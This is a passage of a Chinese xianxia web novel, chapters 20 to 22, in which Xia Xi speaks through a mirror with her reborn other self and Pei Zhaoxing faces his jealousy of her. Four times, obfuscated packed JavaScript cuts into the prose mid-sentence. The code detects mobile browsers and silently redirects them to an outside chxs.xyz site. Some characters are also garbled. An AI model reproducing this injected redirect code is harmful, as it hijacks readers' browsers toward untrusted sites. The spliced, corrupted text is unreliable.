她和夏溪一样,也是一睁眼就来到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11293822|116956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现实世界。 起初,夏溪二号以为是掉进了某个秘境,正要拔剑探探索之际,忽然发现自己手无寸铁,不,不如说这具身体孱弱到不可思议。 细细感受一番之后,她发这具身体没有金丹就算了,甚至连这个秘境都没有灵气存在! 紧接着,这具身体原本的记忆涌进大脑。 夏溪二号这才知道,自己是穿到另一个世界的‘夏溪’身上,两人不仅同名同姓,甚至连模样都极为肖像。 极大的错愕之下,她立刻搜索《问天一剑》的相关资料,果然看到十分熟悉的剧情。 听到这里,夏溪实在是忍不住问她:“……你不会打算去找原作者拼命吧?” 夏溪不知道夏溪二号知道自己是书中配角时的心理活动是什么,换位思考,如果是她知道了,不说伤害作者,至少也要看看创造自己的人长什么模样。 “我已经找过原作者了,”夏溪的指尖点着桌面,神情恹恹:“他在五年前因病去世,这部小说不会有什么新的变化,你放心吧。” 最终还是没能见到面吗? 夏溪心中一叹。 刚刚还在想,要是夏溪二号找到原作者,能不能出钱让他写个退婚女配天下第一的if线番外,说不准会对现在的她有所帮助,只是没想到原作者已经离世。 提到死亡,气氛顿时有些沉重。 虽然两人都还活着,可她们都清晰的知道,‘自己’在各自世界里已经死了。 一片压抑之中,夏溪再次感觉到犯困,为了提起精神,她主动道:“你是通过什么手段联系到我的?” 按照一般套路,横跨书中现实两大世界的穿越之旅,基本都是单程票,就算能穿越回去也需要付出很大的代价。 更别提夏溪二号居然能通过某种手段联系到她这种不可思议的事,既然能联系到,二人是否有可能互换回来? 这个问题十分关键,夏溪二号也没有藏着掖着,而是直接说:“我是完成了系统任务,兑换了通讯工具才联系上你的,这个工具数量很少,每个使用时长是七天,七天之后,我们之间的尘缘就会断掉,此生再也无法见面,也不能互换回来。” 她说着手腕一翻,变戏法一样变出一条虚虚的红绳。 它从夏溪二号的左手手腕处延伸出,末端融入镜面,却没有从镜面中延伸出来。 现在两个人都坐在镜子面前,夏溪清楚看见那条红绳是突然出现在视野当中的,她十分确定那不是失去修为、拥有自己身体的夏溪二号可以做到的事。 她心中仍保持着一丝警惕:“系统?你是指小说里才会出现的那种金手指系统?” 天杀的,同样是穿越,为什么她没有? 夏溪二号点点头,再次手腕一转,一只青翠水润的镯子突兀地出现在她的掌心—— “我穿越的时候和一个系统绑定了,你看过那么多小说,应该也知道在这方面上我不能透露太多。 这是我在系统商城兑换的储物手镯,它的空间不大,里面只放了一些你经常吃的东西,还有打印下来的《问天一剑》,如果你需要这个道具,我可以让系统传送过去给你。” 掌心肌肤温热柔韧,和冰凉镯子形成极大反差,夏溪却没来由地提起了心。 20. 第 20 章 关于平行世界的‘自己’是不是自己这件事,夏溪更偏向于二者并非同一人。 除基因问题外,一个人的性格成长需要后天形成,无论他们的外表有多肖像、性格有多相似,到了关键时候,总会做出截然不同的选择。 因为同名同姓,加上拥有彼此的记忆和身体,夏溪和夏溪二号都有基础好感,愿意为对方做一些力所能及的事。 比如夏溪会去拿夏溪二号的退婚玉佩,亦或者是夏溪二号为夏溪准备了她需要的东西。 但同样的,凭借着对对方的了解,夏溪和夏溪二号都能看出,彼此做这些事的背后所包含的私心。 看着那只小小的镯子,夏溪警惕道:“说吧,你需要我做些什么事?” 虽说对方现在是翻版的自己,可她依然信不过对方,尤其是对方‘死’在如此关键时刻。 如果夏溪二号要求用小说换她和齐天符成亲,以此来换取江清月的命……那她大抵是不愿意的。 见夏溪的警惕心再度袭来,夏溪二号失望地收回镯子:“还以为你会傻乎乎地答应呢。” 她轻轻一拍镯子,一段文字登时浮现出来:【心愿手镯:一旦接触契约变会成立,若被契约者在限定时间内不完成契约内容,肉/身将就地毁灭。】 夏溪:??? 我就说另一个世界的自己不是我吧!!! 之前的红绳和镯子,都能用变魔术来解释,那么现在这段实打实的漂浮文字,足以说明夏溪二号真的拥有传说中的金手指系统。 系统的出现,通常伴随着任务,任务则和宿主息息相关。 她不知道契约内容是什么,但夏溪二号能用肉/身毁灭来当做不履行它的代价,便更能说明此事事关重大,说不定还和系统任务有关。 虽说被系统逼着做任务很可怜,但谁来关心一下差点被骗了的自己呢? 夏溪二号并不知道夏溪心中所想,她静静地坐在镜子面前,思绪似乎去到另一个地方,全然不知另一个世界的‘夏溪’已经起身,去到镜子看不到的范围里面。 等她回过神,镜面已经被一层黑布覆盖,黑布乃上等绸料所制,密不透光,凑近去看,还能看见漂亮的暗纹。 看着有点眼熟。 像曾经用过的床单。 黑布外传来熟悉的声音:“我以为我们拥有彼此的全部之后,至少会在交易这方面做到开诚布公,可万万没想到你会坑我,还想拿你曾经的肉/身做陷阱害我。” “你没有诚意,我也不想交易,反正最大的退婚障碍已经被扫除了,也没必要执着于剧情。” 说完,镜子那面便没了声息。 夏溪二号:??? 接下来的时间里,无论她如何呼唤,镜子那头都没有任何回应,显然是对方给镜子设下某种静音结界。 见宿主真的无法和夏溪继续沟通,夏溪二号脑海里里的系统战战兢兢地问:“……我们是不是一开始就该和她说明我们的处境?” 诚如夏溪猜测,夏溪二号确实有个系统,可它目前最大的阻碍,便是宿主对原世界执念太重,难以展开新世界的任务。 为了让宿主配合,系统不得不开了条支线任务出来。 夏溪二号的脸色沉了下来,想了想,忽然又叹了口气:“是我的错,过去那么长的魔族生活让我习惯了拿筹码压人,现在换了世界和身份,一时之间难以改过来。” 她顿了一下,又道:“把手镯上的附加条件去了,这段时间你密切留意镜子,一有什么动作立刻告诉我,我会和她说清楚前因后果的。” 系统心想你给人第一印象那么差,还会有后续合作才有鬼咧。 可它什么也没说,直接应下此事。 同一时间。 少乌宗外门弟子课堂。 健体课刚刚结束,一帮大汗淋漓的弟子找到阴凉处,拧开水囊大口灌下。 裴朝行身上有伤,挥剑动作幅度不如其他人标准,可前胸后背仍然湿透。 他没有储物法宝,也没有携带水囊,正思考去哪找水喝的时候,一个人来到面前:“我之前好像没见过你,新来的吗?” 来者是一个年轻男子,既没有穿少乌宗服饰,身上也没有任何代表事物,唯有腰间缀着一块刻着‘束己’的玉牌。 裴朝行疑惑看他。 年轻男子主动介绍自己:“我叫阿符,是来少乌宗游学的人,本想来这里找朋友,结果他好像不在。” 裴朝行对游学略有耳闻,若不是被裴长青横插一脚,现在的他应该也是少乌宗游学弟子之一。 他说:“你来迟一步,放课有一会了,你的朋友可能已经先走了。” 阿符露出失望神色,他向裴朝行道谢,随后走出几步又折返回来:“我本来打算约他去食堂吃饭的,现在落单了,道友你要不要一起?” 经他提醒,裴朝行才发觉今日只喝过一碗药汤,能坚持这么久全靠初来少乌宗的新鲜感支撑。 他现在的修为是筑基五段,距离能辟谷的金丹仅差二段,仍需要定期进食维持身体。于是便应下了去食堂一事。 阿符言谈风趣,时不时介绍少乌宗的趣事和建筑位置,和夏溪相比,他才更像一个合格的带路者,没多久就让裴朝行熟悉少乌宗。 两人相谈甚欢,分别之际,阿符不经意的问:“裴兄弟,你住哪?我送你回去。” 裴朝行现在的身份是外门弟子,而忆春山不仅属于内门,能住在里面的更是长老亲传。 他还想以外门弟子的身份多学些东西,便婉言谢绝阿符的好意,自信地朝一个方向走去。 阿符欲言又止,止又言欲。 眼看对方越走越远,他还是忍不住大声道:“裴朝行,那边是山门!不通弟子宿舍!” 裴朝行:…… 好吧。 在阿符的死亡目光之下,他还是说出了自己住在忆春山上。 阿符恍然大悟:“哦,你就是那个来少乌宗养伤的灭虫天才?” 经过一天时间的发酵和传播,裴朝行‘年纪轻轻就能凭借自身实力逼出蛊虫且在明月楼一事中大放光彩的天才少年’的名号已经缩短成通俗易懂的‘灭虫天才’。 裴朝行:“……其实我不是天才,我才刚到筑基五段。” 阿符:“嗯嗯。” 裴朝行:“逼出蛊虫和大放光彩并非我一人为之,还有其他人帮忙的。” 阿符:“嗯嗯。” 裴朝行:“我说你够了。” 阿符:“哈哈。” 无论他如何解释,阿符都是一副我就静静的看着你装的看戏表情。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11293823|116956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >最后裴朝行放弃挣扎,直接道:“如果你还不相信,可以去看问问夏修士。” “夏修士?”阿符蹙眉,反复咀嚼这三个字,最后问:“你是说忆春山上的夏溪吗?” 他的语气和之前讨论夏溪的弟子一样,遮遮掩掩,似乎意有所指。 裴朝行心中一动:“是啊,她怎么了?” 阿符嘴唇微动,正准备说什么,又忽然停下脚步:“已经到忆春山了,裴兄弟还是快些回去吧。” 言罢,不给任何追问的时机,提脚飞快地走了。 裴朝行一头雾水地回到忆春山住处,真好撞上路过的药童,对方一脸喜色:“裴修士,你可算回来了,到时辰吃药了。” 跟着药童,他来到曾经来过的院子,见到里面坐着徐珏和江清月,以及文十方和易鸯。 除了夏溪之外,忆春山再次全员集齐。 ——他们不用练剑的吗?一天天搁院子里干啥呢? 待裴朝行喝过药,文十方才斟酌着开口:“裴师弟,我见小师妹今日早早的回来了,若是陪同过程中多有得罪,还请你见谅。” 夏溪离开之前,确实曾说过要带裴朝行去其他地方转转,但他却不想错过难得的健体课,因此两人才分别的。 虽说他们之间确实有矛盾,但夏溪先行离开并非她的错。 裴朝行摇头,将健体课上发生过的事情说出,随后补充道:“夏溪先回来不是她的错,是我想上课,所以才让她先回来的。” 不曾想,文十方和易鸯都露出不可思议的表情:“你是说,小师妹送你去外门上课,还留在旁边等你?” 裴朝行:? 裴朝行:“她没有等我,是我先让她离开了。” “不不不,我是说,健体课刚开始的时候。”文十方直接搬椅子坐到裴朝行身边,“你认真想想,刚开始上课的时候,小师妹是不是真的在旁边等你了?” 抛开路途中的争执,健体课刚开始之际,夏溪确实是在旁边等着的,直到休息时间,她才和裴朝行说话。 即使这段时间里她态度不好、脾气很差,甚至对上课一事口出狂言,可归根到底,依然是想带他四处逛逛的。 反观自己,为了一节课直接让夏溪走了,甚至可以说是不欢而散。 思及此,裴朝行吞吞吐吐道:“呃……她应该是等着我的吧?” 虽说当时她一边吃东西一边和朋友聊天,但依然是在等他下课。 “你看,我就说小师妹变了吧!”易鸯一副我早说过的表情,“这次满月城之行,绝对改变了小师妹某些地方!” 提到满月城,裴朝行隐隐约约察觉到什么,状似无意问:“满月城离少乌宗挺远的吧?她去那里做什么?” 话一出口,闷热的院子顿时安静下来,文十方和易鸯不说话,用余光悄悄打量着不远处的江清月和徐珏。 江清月和徐珏还在下五子棋,充当背景音的说话声忽然停下,她们一齐抬头,便见到几名弟子都看向这边。 江清月:“都瞧着我做什么?我金丹被毁又不是是什么见不得光的事,何必如此小心翼翼?” 这回惊讶的人变成裴朝行。 江清月的金丹居然被毁了? 作者有话要说: 明天入v啦,今天双更,明天三更! 第21章 金丹无异于修士第二条命,毁掉它如同毁灭修士本身。 裴朝行知道江清月受伤,却不知道受的伤竟然如此严重,现在见她不仅行动自若,对此事也坦坦荡荡,心中难免生出几分敬佩。他道:“江长老怎会伤得这么严重?此事又怎会扯到夏修士去满月城?”文十方有意遮掩:"二者之间的关联并不算很深,裴修士切勿多….…"话没说完,江清月的声音又飘了过来:“哎不是,文十方你小子翅膀硬了是吧?我这个当事人都没当回事,用得着你替我开脱吗?” 文十方一哽。 易鸯即刻接话道:"裴修士,我来和你说吧,一切,还要从几个月前说起…" 在她的转述下,裴朝行眼前开始勾勒出一个从小丰衣足食、没怎么受过苦的夏溪,在短短几个月间人生骤变,双亲同时离世,还没从痛苦中走出,便再次迎来师父金丹被毁的消息。本以为她的退婚是因为二人渐行渐远,没想到背后竟然隐藏着这么多的事情。 如此—想,裴朝行又觉得自己可以原谅夏溪一直以来的恶劣态度了。换作是他,短时间内接连遭遇这些事,心情也绝对好不起来。 裴朝行正欲说点什么,一直是旁听状态的江清月忽然道:“当时我醒来后,正好是她离开少乌宗没多久,我便派人去了满月城看她如何处理,得到的消息却是…….”事情说到这里,□□月故意握杯喝茶,慢悠悠的动作显然是在勾起他们的好奇心。 关于满月城一事,文十方和易鸯已经听过一遍,可二人都不知道江清月还派过人去满月城。 瞧她一副欲言又止的模样,恐怕小师妹并未将话说全,指不定瞒了什么事下来。两人坐不住,直接从裴朝行身边蹿过去,缠着江清月继续说下去。裴朝行的心提到了嗓子眼。 如果江清月真的派人去了满月城,并且调查那里所发生的一切 不,她应该不知道自己就是装家公子”,也不知道他们之间的关系,若是知道,便不会心平气和地讲述此事,更不会让他住在忆吞山。他抬眼看去,江清月依然笑而不语,只是有意无意似地看了自己一眼。 这一眼弄得裴朝行坐立难安,他佯装不在意,同其他两位弟子一样,急切道:“江长老,你得到的消息到底是什么?” 看三个年轻人急得不得了,徐珏轻轻地拍了一下江清月的手,后者微微一笑,继续道: “听说小溪离开满月城没多久之后,那裴公子就失踪了,连一封信都没留下,像是人间蒸发了一样,药堂想找他要汤药费都不知道该找谁。” 裴朝行:? 也是,人蛇阁的人是深夜掳走他的,而药堂里都是凡人,恐怕是等第二天天亮才发现他失踪了。等在少乌宗修养好之后,就回满月城给钱吧……裴朝行如是想。 易鸯听到裴公子失踪,又想起古月城人蛇阁一事,难免把目光放在裴朝行身上:“裴修士,你说那个裴公子会不会也是被人蛇阁带走了啊?”先前她怀疑过裴朝行和裴公子是不是有关系,后来被夏溪带偏话题便忘了这件事,如今一提,发觉这两人还真是有缘啊。 裴公子’和裴朝行一个在满月城、一个在古月城,距离说近不近,说远不远,都姓裴,还都被誉为天才…世界上真的有这么巧合的事吗? 易鸯的话成功将在场所有人的目光引到裴朝行身上,探究好奇的目光让后者有一瞬间心虚。 知道‘裴公子''真实长相的唯有夏溪,现在她不在,自然是由他想怎么说就这么说。 裴朝行正要回答,一只手却在此时轻轻搭上他的肩膀:"二师姐,裴公子怎么了?" 来人正是消失已久的夏溪。 遮盖梳妆镜(夏溪二号)之后她就去睡觉了,等再度睁眼时,天色全黑,见附近的院子都没有点灯,便往栽种着桃花树的院子走去,果不其然见到忆春山的诸位。她随意地在裴朝行身边坐下,神态自若:“还是说我听错了?其实你们说的是裴修士?” 易鸯便将刚才发生的事说了一遍,讲自己的猜测时,她仔细观察着夏溪的神色,没有发现丝毫破绽。 难道真的是她想多了? 夏溪确实被易鸯的猜测给惊到了,万万没想到竟然会是脾气最不好的二师姐先接近真相。 若是四下无人,也许她会兴奋的和易鸯讨论。 但可惜现在众目睽睽,裴朝行也不便暴露,于是便道:“那我就不知道了,如果裴公子真被人蛇阁带走,那么凭借他天降异象的本事,想来也是能绝处逢生的。” 裴·真被带走·真劫处逢生·朝行:。 接连两次的猜测都被否定,易鸯彻底放心,不再纠结裴公子和裴朝行的缘分问题。他们都没有注意到,江清月和徐珏交换了一个安心的眼神。趁大家都在,文十方清清嗓子:"正好,我现在要说一件事。" “什么?” 文十方将自己准备出发西大洲采摘玉蝴蝶一事说出,在场者唯有江清月的脸色变了。她一直知道他们在寻找让自己金丹重塑的方法,却没想过最后得出的方法是西大洲找玉蝴蝶。若是以往,文十方说出要去西大洲的时候,江清月就已经一拳让他说不出接下来的话。 可她也知道 ,不让文十方去西大洲找玉蝴蝶的话,夏溪指不定就会为了冰霜赤嫁给齐天符,若是二者的方法都不取用,继续耗着时间找新的方法,届时会死的人也只有她自己。 □0月看向徐珏:“这事你一直知道?” 徐珏移开目光,学着她方才的样子,慢悠悠地喝茶不言语。江清月又看易鸯:"你也知道?"易鸯看天看地看夏溪,就是不看江清月。 裴朝行知道天地人境九洲,却不知其中凶险,见众人面色沉重,也不好开口问具体是什么情况。见文十方将出入两洲说得如此轻松,他心中难免生出些许羡慕。不过金丹六段,就敢主动出发危机四伏的西大洲,可见金丹修士之强。倘若自己到了金丹,必定也能像夏溪文十方之流,无需借助外物,仅靠自己就能从强者手中或重压环境下来去自由。 此时,江清月理清心中万般思绪,问文十方:“若我说不准,你是不是也会像夏溪那样,不顾劝阻私自出宗?”莫名其妙躺枪的夏溪:私自出宗这事过不去了是吧。 作为第一个拜江清月为师的文十方,听到这句话,裂开个畅快笑容:“自然。”夏溪偷他腰牌出宗,文十方气得半死。可当偷溜出宗的人换成自己,文十方不爽是不可能的。 江清月长叹一身,站起身,对着跟随自己时间最长的大弟子道:“你跟我来吧。” 她无法阻止文十方出发西大洲,唯有将自己珍藏多年的法宝给他,以求在危机时刻多一分保命的本事。江清月和文十方相继离开,其余人也都散了。夏溪刚来就要走,磨磨蹭蹭地留在最后,竟和习惯性留最后的裴朝行走在一起。 裴朝行记着刚刚听到的事情,有心想缓解和夏溪之间的关系,主动道:“你知道西大洲是个什么地方吗?” 睡过一觉,夏溪倒也不纠结裴朝行不跟自己走的事,她简单地介绍一遍,未了感慨似地说了一句:“要不是前不久在古月城伤得太重,我也想跟着师兄去西大洲看看。”都穿越了,都修真界了,还乖乖待在宗门里多无趣啊。 夏溪的想法和裴朝行不谋而合。 天宽地广,三境 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781399|116956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九洲,漫长的修仙生涯只固定在一个地方,确实无趣得紧。 两人并肩走在路上,耳边是少女的遗憾感慨,裴朝行莫名感到时机成熟,兴许是时候和夏溪说一句以前是他误会了。可话到嘴边,却又变成:“你也是金丹修士,日后多的是机会到处走走的。”这听上去本该是一句奉承的话,夏溪却听出了别样之味。 她斜睨看裴朝行,经过一段时间的不见天日,他肌肤变得比初见时更加苍白,要不是今天去上了健体课,恐怕在这月光下,能与孤鬼分高低。 “你在嫉妒我?” 裴朝行一愣。 他在嫉妒?他哪里嫉妒了?他嫉妒什么? 原本对夏溪还残存着的一点愧疚之心灰飞烟灭,心中也不知从何涌出来一股愤懑,裴朝行不悦道:“我嫉妒你什么?” “嫉妒我年经轻轻就成为金丹修士?嫉妒我从小就能在少乌宗生活修炼?”夏溪不知道裴朝行哪来那么大的火气,说一句话就生气。 她道:“难道不是吗?从今天的健体课开始,你的心里好像就存在着一股气,偏偏这气还只冲我发,除了你嫉妒我之外,我实在是找不到别的理由了。”两人本来是一边说一边走的,但夏溪说完这句话后,裴朝行就错愕地停下脚步。他并非是感情特别迟钝的人,遭她一点拨,当即明白自己和夏溪之间为何一直对付不来—— 从一开始,夏溪便是以绝对碾压自己的姿态出场。 同样的年纪,他是满月城被抢去家产身份的打杂伙计,她却已经是少乌宗长老亲传,修为更是到了难以匹及的金丹段位,甚至连最后复仇的剑都是她给的。 古月城里,他是被当做货物使唤的活人偶,而夏溪却是被王仁找来帮忙的,回到少乌宗之后更不必提,即使是私自出宗违反宗规,疼爱她的师门同样没有过多责怪,甚至就连只能自己偷摸琢磨的健体课,也是夏溪百般看不上的存在…… 所以,他其实一直都在嫉妒夏溪? 裴朝行如遭雷击。 忽视他变来变去的脸色,夏溪满心不在乎地说:“你嫉妒我也好,不嫉妒我也罢,我只想说少给我面前摆脸色或者阴阳怪气,不然就算你是客人,我也会揍得你下不来床。”少乌宗上和她吵架嘴炮的有李玉娇就行了,再多一个真的会很烦。 说完想说的,她就抛下还在呆愣状态中的裴朝行离开了。 夏溪再次回到自己房间,梳妆镜上还蒙着先前盖上的床单,她想了想,悄悄掀开一个角,房间灯亮着,但是镜子前没有人。 刚要放下,夏溪二号又猛地蹿了过来,动作大到镜面都跟着晃悠一下。 “我终于等到你了。”她的声音带着惊喜,“我已经让系统把镯子的契约给卸了,现在你可以接受了吧?”夏溪没接这句话,转而问道:“文十方要去西大洲找玉蝴蝶,你觉得他会成功吗?” 关于原主记忆和小说剧情,最大的矛盾点在于:她拥有一个疼爱她目有一定地位的师门,同时还喜欢李逸臣喜欢到能干出俊缺事的地步,却在书中剧情里,嫁给同样 是炮灰的齐家少主齐天符。虽说很大可能是为了冰霜赤嫁给他,可夏溪本能的感到怪异,尤其是今晚文十方说出要去西大洲找玉蝴蝶之后。 如果文十方真的拿到玉蝴蝶、并将成功重塑江清月的金丹,那么原主完全用不着嫁给齐天符。 可她还是嫁了。 因此文十方去西大洲时一定出了事,还是非常严重的事,严重到原主甘愿嫁给齐天符换回冰霜赤。果然,听到玉蝴蝶三个字时,夏溪二号的动作一下子僵住。 “果然……还是躲不过吗?” 第22章 夏溪被夏溪二号突然的神情变化给吓到。 她还是第一次知道‘自己''的脸可以做出年轻又年迈的矛盾表情。仿佛里面装着的不是和她同龄的少女,而是一个更为苍老颓废的老妪。看着对方的精气神一下子散了,一个极为大胆荒谬的想法出现在夏溪心里。那句‘果然还是躲不过’并没有逃过夏溪的耳朵,她把它听得清清楚楚。 还是′一般用在有所比较之后,如果是她记忆里那个不知天高地厚一切全凭心意做主的夏溪,不应该在知道文十方去西大洲后拿它来形容。加上没有特意提及玉蝴蝶的功效,‘死’在去满月城路上的夏溪二号更不应该用‘躲不过’三个字才对。由此,完全可以推断夏溪二号并非现在的时间线上的夏溪二号,而是更往后的时间线上的人。如果是现实世界,夏溪绝不可能做出这个假设,但穿越这种事都发生了,再来一个重生也不是不可能吧? 她谨慎地询问:"你….…不会不是现在的‘夏溪''吧?"镜子里的夏溪二号再次陷入一种脱离世界般的恍惚。 夏溪接连叫了她两次,涣散的视野聚焦才再次出现,最终定在她的脸上。"你刚刚说什么?" "你不是我记忆里的夏溪吧?或者我换个说法,你是金丹修为的夏溪吗?" 果不其然,夏溪二号扯动嘴角:“我就说你一定知……闭嘴!这里没你说话的份!” 她突然的暴怒显然不是针对夏溪。 夏溪看着她盯着别处,眼里的狠戾宛若实质:“我答应过你的,只要师父师兄师姐他们全都活下来,我自然会好好完成任务,如果你敢再多嘴一句,我现在就跳楼!”她的声音既不尖锐也不刺耳,反而带着漫长岁月给予的沉稳与重量,可夏溪偏生感受到这句话里蕴藏着多大的痛楚和压抑。 ……似乎重生一事对她来说并不全是好事。 夏溪二号沉默片刻,疑似和脑海里的系统达成共识之后,才看向镜子里的夏溪:"……我想你应该不介意我趁现在一口气把事情全说了?" 夏溪当然不介意。 她求之不得。 夏溪二号给自己倒了杯水,然后将所有告诉了另一个世界的自己—— 正如夏溪所言,她并不是她记忆中的夏溪,而是活过一世、重活第二世的人。 书中的她和裴朝行退婚,定下可以说是单方面的十年之约,没多久,她就嫁给了在东大洲颇有名望的齐家少主齐天符,最后也确实遭魔修掳走并自尽而亡。整体看上去是个非常标准的男频退婚女配。 但正如夏溪穿越过来发现事实和剧情不符,夏溪二号的真正人生并非如此。 她回到少乌宗的第一天,就被气到半死的师兄师姐关了起来,随后,文十方出发西大洲采玉蝴蝶,易鸯留守忆春山照顾师父。如果一切顺利,江清月的金丹就会重塑成功,夏溪二号也不必嫁给齐天符。 然而此行注定是失败的。 文十方身死,夏溪二号嫁给齐天符,江清月重塑金丹失败,带着为她护法的易鸯身死道消,偌大的忆春山转眼间就只剩她一个人。 她消沉了很长一段时间,直到裴朝行打上门,说要履行她压根不记得的十年之约。 那时的夏溪二号是真的想一死了之,可被打趴在地的时候,她突然意识到,如果连自己都死了,世界上便真的没人记得,少乌宗忆春山上还存在过师徒四人。于是夏溪二号从十年之约里活了下来,想着继续好好修炼,最好能修成绝世大能活得长长久久。 可她失败了。 十年之约后的不久,夏溪二号发现齐天符勾结魔修,意图觊觎人境大族,她正想给对方报信,魔修却发现了她。被魔修掳走的夏溪二号一点都没想过自尽而亡,她忍辱求全,找准机会成功逃离魔修,却在路上被人蛇阁的人看中带走。最后她被制作成活人偶,死在剿灭人蛇阁的大战中。直到再次睁眼,她成为了现代世界的‘夏溪’,脑海里还多出一个让她开心享受人生的重生系统。 —“刚穿越过来的时候,我真的非常崩溃,要不是系统说我和修仙世界尘缘未了,完成任务就有机会联系到你、同时还能改变忆春山的未来的话,我可能真的活不下去….”夏溪二号说到最后已经说不下去了,她没有哭,只是看上去很疲惫,并不想多说什么。 沉默弥漫在她和夏溪之间,气氛却一点也不尴尬。夏溪想过夏溪二号可能是重生的,却没想过她曾经历过这么多。 联想到近期遭遇,她谨慎道:“你口中的尘缘未了指的是哪方面?是和之前的契约任务有关吗?”夏溪二号打开手掌心,里面是曾经出现过的储物镯子,在房内灯光的照耀下,折射出冰冷人心的光芒。“没错,我已经让系统把契约去掉了,现在它只是一个普通的储物镯子,你大可将它戴在身上或者收进芥子袋里。”倏然,她双手合十,再度打开时,那只镯子已经消失了。 它躺在夏溪面前。 她没有贸然拿起它,而是哀怨的看着夏溪二号:“我还想让你多往里面塞东西呢。” 语气过于轻松,让夏溪二号一愣:“你相信我了?” 夏溪拿起那只镯子,灵力一探,里面果然放着不少她爱吃的 东西,以及一叠巨厚的a4纸打印版《问天一剑》。等了一会,也没看见漂浮文字出现,她才道:“你竟然真的撤销契约了。” 关于夏溪二号说的事情,夏溪并没有完全相信,一是她的片面之词,二是人蛇阁出现的太过巧合了。先是裴朝行,现在又是夏溪二号,人蛇阁的业务拓展范围是不是有点太宽广了?还是说涉及到两位原书人物只是巧合? 夏溪二号不知道她心里想的是人蛇阁,误以为她还在纠结契约的事,主动解释:“我成为活人偶没多久就死了,所以很多行为习惯都保留在鹿修手下时的样子,擅自给你挖坑是我的不对,我要和你说 声对不起。" 对话突然正经,让习惯满嘴跑火车的夏溪有点不习惯,尤其是对方还顶着自己的脸。 “我接受你的道歉,但这不代表我会接受你想让我做的事。”她说,“说吧,你想要我做的事情是什么?见见忆春山上的人?还是说阻止文十方去西大洲?” “不,都不是。” “那是什么?” “我要你杀了齐天符。” ……? 得知夏溪二号的事情之前,夏溪就不想嫁给齐天符,知道她的遭遇之后,就更不想和对方接触了。 只是她没想过,夏溪二号重回一世后想做的第一件事,居然不是见见师门,而是先杀了曾经的丈夫齐天符。 果然恨比爱长久吗? 捋捋夏溪二号上一世的时间线,就能发现齐天符占据了不小比例,他做出的事情更是不可饶恕。权衡过后,夏溪说出自己的判断:“抱歉,这件事我做不到。” 齐天符背后的齐家,是东大洲颇有名望的修仙世家,它们手握多条山脉和城池,家境富可敌国。就连他本人,也是金丹七段的修士,只要不是傻子,都不会选择和他作对。 她继续道:“我很好奇,你们当初到底是怎么……在一起的?” 书中没写夏溪二号是怎么认识齐天符的,但考虑到齐天符一开始能拿冰霜赤这么贵重的东西来求娶她,想必两人之间也有过琴瑟和鸣的时光才对。面对夏溪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781400|116956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑问,夏溪二号又去接了一杯水,她脸上的表情十分嫌恶:“我想想,在话本子、不对,是小说里,几乎都不会提到男女主成亲之后的生活吧?”夏溪二号精神崩溃的时候,重生系统百般劝慰她,其中便提到了夏溪二号和齐天符的感情经历。 成亲之前,他们的配置可以称之为男女主标配。 一个是少乌宗的天之骄女,一个是富可敌国的少主,后者对前者一见钟情,对其展开猛烈追求。 齐天符长得不错,修为也好,一来二去之下,夏溪二号确实对他产生了好感,奈何心里还有个李逸臣,可李逸臣始终不喜欢她。 就在这个时候,忆春山发生变故,接连受到打击的夏溪二号,自然偏向了一直陪着并重金求娶自己的齐天符。 他们成亲之后,确实过了一段恩爱日子,直到后来发生意外,夏溪二号才惊觉枕边人到底是个什么玩意。 "我一定要杀了他,不见到他的项上人头我是绝对不会安心的。" 夏溪二号恶狠狠的补充,同时不忘叮嘱年纪比自己小许多的夏溪。 “夏溪你听着,千万不要相信男人成亲前后说的鬼话,人最爱的永远只有自己,如果有人说爱你比爱他自己的命还重要,那一定是散谎,撒得还是天大的谎!” 话题峰回路转,最后竟让夏溪听了夏溪二号半个时辰的婚姻吐槽,其中心思想只有一句“票男人可以,但动心不行,如果控制不住,那就给自己一刀清醒清醒。 非常犀利的观点,夏溪深以为然。 两人聊了很长时间,从天南海北聊到鸡毛蒜皮,直到夏溪第三次打哈欠,夏溪二号才道:“.……其实,你是一定要杀死齐天符的。” "我说了我做不到啦。" 